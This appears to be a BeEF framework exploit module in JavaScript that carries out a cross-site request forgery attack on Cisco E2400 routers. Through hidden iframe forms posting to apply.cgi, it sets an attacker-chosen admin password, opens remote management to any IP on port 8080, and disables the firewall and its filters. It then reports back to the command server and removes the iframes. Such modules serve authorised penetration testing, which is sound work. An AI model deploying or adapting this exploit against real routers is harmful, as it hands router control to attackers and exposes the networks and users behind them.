Files
beef/modules/exploits/router/cisco_e2400_csrf/command.js
2012-07-14 22:44:58 +09:30

78 lines
3.9 KiB
JavaScript

//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var gateway = '<%= @base %>';
var passwd = '<%= @password %>';
var cisco_e2400_iframe1 = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST",
[
{'type':'hidden', 'name':'submit_button', 'value':'Management'},
{'type':'hidden', 'name':'change_action', 'value':''},
{'type':'hidden', 'name':'action', 'value':'Apply'},
{'type':'hidden', 'name':'PasswdModify', 'value':'0'},
{'type':'hidden', 'name':'http_enable', 'value':'1'},
{'type':'hidden', 'name':'https_enable', 'value':'1'},
{'type':'hidden', 'name':'ctm404_enable', 'value':''},
{'type':'hidden', 'name':'remote_mgt_https', 'value':'1'},
{'type':'hidden', 'name':'wait_time', 'value':'4'},
{'type':'hidden', 'name':'need_reboot', 'value':'0'},
{'type':'hidden', 'name':'http_passwd', 'value':passwd},
{'type':'hidden', 'name':'http_passwdConfirm','value':passwd},
{'type':'hidden', 'name':'_http_enable', 'value':'1'},
{'type':'hidden', 'name':'_https_enable', 'value':'1'},
{'type':'hidden', 'name':'web_wl_filter', 'value':'0'},
{'type':'hidden', 'name':'remote_management', 'value':'1'},
{'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'},
{'type':'hidden', 'name':'remote_upgrade', 'value':'1'},
{'type':'hidden', 'name':'remote_ip_any', 'value':'1'},
{'type':'hidden', 'name':'http_wanport', 'value':'8080'},
{'type':'hidden', 'name':'nf_alg_sip', 'value':'0'},
{'type':'hidden', 'name':'ctf_disable', 'value':'0'},
{'type':'hidden', 'name':'upnp_enable', 'value':'1'},
{'type':'hidden', 'name':'upnp_config', 'value':'0'},
{'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'},
]);
var cisco_e2400_iframe2 = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST",
[
{'type':'hidden', 'name':'submit_button', 'value':'Firewall'},
{'type':'hidden', 'name':'change_action', 'value':''},
{'type':'hidden', 'name':'action', 'value':'Apply'},
{'type':'hidden', 'name':'block_wan', 'value':'0'},
{'type':'hidden', 'name':'block_loopback', 'value':'0'},
{'type':'hidden', 'name':'multicast_pass', 'value':'1'},
{'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'},
{'type':'hidden', 'name':'ident_pass', 'value':'0'},
{'type':'hidden', 'name':'block_cookie', 'value':'0'},
{'type':'hidden', 'name':'block_java', 'value':'0'},
{'type':'hidden', 'name':'block_proxy', 'value':'0'},
{'type':'hidden', 'name':'block_activex', 'value':'0'},
{'type':'hidden', 'name':'wait_time', 'value':'3'},
{'type':'hidden', 'name':'ipv6_filter', 'value':'off'},
{'type':'hidden', 'name':'filter', 'value':'off'}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(cisco_e2400_iframe1);
document.body.removeChild(cisco_e2400_iframe2);
}
setTimeout("cleanup()", 15000);
});